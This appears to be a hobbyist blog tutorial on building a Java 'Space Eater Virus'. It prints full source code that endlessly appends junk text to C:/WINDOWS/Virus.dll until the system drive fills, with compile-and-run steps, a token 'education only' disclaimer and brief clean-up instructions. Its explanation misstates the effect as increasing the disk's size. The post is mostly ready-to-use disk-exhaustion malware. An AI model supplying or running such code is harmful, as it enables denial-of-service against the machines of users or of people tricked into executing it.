How To Create A Space Eater Virus In Java

Warning:- This is for education purpose only. I'm not Responsible in case of any misuse. You Can Try This On Your Computer Too.

• Open Notepad and type the following virus code:

import java.io.*; class Virus { public static void main(String ar[]) { try { FileWriter f=new FileWriter("C:/WINDOWS/Virus.dll",true); while(true) { f.write("Programming Is Such A FUN !!!"); } } catch(FileNotFoundException e){} catch(IOException e){} } }

• Save it as Virus.java
• Now generate the byte code of program using Java Compiler.
• When you execute this program It will start eating the space of your C drive. To stop this virus simply close the command window.
• In order to recover the lost space of your drive. go to C:\WINDOWS and delete the file virus.dll (also from Recycle bin)

Explanation: On execution this program will create a file called virus.dll at the location C:\WINDOWS and start increasing its size by sending the junk data into it which automatically increase the size of the disk.

Notice: For any issues related with Program Compiling or JRE take a look at Compile JAVA program

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Shoaib Shafiq 

IS A Ethical Hacker

 Part-Time Blogger / SECURITY  INSEARCHER **************************